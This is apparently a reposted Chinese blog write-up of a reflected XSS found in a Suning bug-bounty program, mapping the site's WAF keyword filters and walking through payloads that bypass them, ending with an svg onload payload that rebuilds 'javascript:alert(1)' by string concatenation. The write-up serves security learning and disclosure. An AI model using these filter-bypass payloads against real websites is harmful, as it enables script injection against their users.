A-A+

某次XSS绕过总结

2019年04月12日 文章转载 暂无评论 阅读 4,659 views 次

0x01 背景

前段时间苏宁src五倍积分,想着无事刷一刷玩玩,碰到一个反射型XSS,如下图:

《某次XSS绕过总结》

插入<img src=a>测试正常(此处截图遗失,漏洞已修补),证明存在XSS,但是过滤了许多关键词,很难执行代码,于是有了接下来的一波绕过。

0x02 测试过滤机制

经不断测试,发现存在如下过滤机制:

1、”<script”,”alert(“,”prompt(“,”;”,”eval(“等敏感的关键词被waf阻断;

2、”+”被空格代替,斜杠、反斜杠被阻断;

3、”onerror=”,”onload=”等此类关键词被过滤,但”onload  =”,”onerror  =”未被过滤;

4、”alert(“被过滤,但”alert    ++  (“这类也被过滤(注意”+”会被替换成” “)。

5、单双引号均未被过滤,尖括号、圆括号、中括号均未被过滤。

… …

0x03 尝试绕过一

由0x02步目前所知道的部分过滤机制,测试构造payload1:<img src=x onerror++= 123>,发现未被过滤。payload2:<input autofocus id=a name=”javascript:123″ onfocus=”location=this.name”>同样未被过滤,此时已经可以执行大量代码了,但是本菜就是想弹个窗。想到目前我所知道的弹窗主要有如下四种:

1、alert(1);

2、prompt(1);

3、confirm(1);

4、window.onerror=alert;throw 1

但是上面前三种的关键词均被直接过滤,最后一种分号也被waf阻断,想一想弹个窗真难,但是我真的只是单纯想弹个窗好吗…

(另外这一步的payload2中,用input标签的autofocus属性可以无需用户和浏览器交互即可直接执行脚本,很好用)

0x04 尝试绕过二

想了一下既然都能执行代码了,关键词被过滤,拼接或者替换应该是最好的办法,我能想到的还有参考别人的几种字符串拼接方法如下:

1、var a=b+c;

2、a=[];a[0]=b;a[1]=c;a.join(”)

3、a.concat(b,c)

其中第一种加号被过滤,第二种分号被阻断,只能考虑第三种拼接方法,此时构造payload3:<img src=x onerror+=”javascript:”.concat(‘aler’,’t(1)’)>,发现仍然无法弹窗。

重新梳理一下该payload的语法,才知道onerror后面执行一次脚本,其目的仅仅是把字符串拼接起来,而无法再次执行拼接后的字符串。上述payload3其实等同<img src=x onerror+=”var str=’javascript:alert(1)’>,而我们要达到的效果是<img src=x onerror+=eval(‘javascript:alert(1)’)>,因此该payload失败。

0x05 尝试绕过三

那么到此,机智读者会不会和我一样想到了这样一种猥琐的思路:即能不能构造一段脚本,先执行var str=’javascript:alert(1)’,再执行str。那好说干就干,总结上面的经验,我们这样构造payload4:<input autofocus onfocus=str=”javascri”.concat(‘pt:aler’,’t(1)’) onblur=javascript:str>这是一个需要和浏览器交互才能触发的payload,加载后拼接str,失去输入框焦点时触发执行str.但是该payload加载后仍然没有触发弹窗,此时我们F12打开控制台,查看如下:

《某次XSS绕过总结》

说明str拼接完成,但是并没有执行,这点其实和0x04那块类似,同样是在标签内str仅为字符串”str”,并不能直接引用str变量,这点很难理解,也是js最恶心的地方。

0x06 尝试绕过四

试了几种方法都以失败告终,但是至少知道突破的方向了,除了eval()函数能够直接执行字符串,难道就没有其它好用的函数了吗。这时候又一个猥琐的方式出现了,我们能不能window.open(“javascript:xxx”)这种来实现XSS呢,查阅知道open()函数包含的是字符串,那么payload5:

<img src=x onerror = "window.open('javascri'.concat('pt:aler','t(1)'))">

《某次XSS绕过总结》

0x07 尝试绕过五

虽然上述能够实现弹窗了,但是还是有瑕疵的,chrome和firefox对window.open()函数都会有提醒,需要手动同意才能弹窗,于是重新来回梳理一下思路,看到location,眼前一亮,顿时有了最终payload6:

<svg+onload+=location='javascri'.concat('pt:aler','t(1)')>

《某次XSS绕过总结》

0x08 后记

这次遇到的XSS纯粹是字符串拼接的问题了,说到字符串拼接,更猥琐的我们还可以类似这样:

<svg/onload = location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'>

其实XSS绕过有很多种姿势,多种绕过结合才能很好的突破防护,总的来说,在进行一次XSS之前,先尝试总结其xss防护规则,然后利用防护规则来绕过防护!

 

原文链接:https://secvul.com/topics/259.html

标签:

给我留言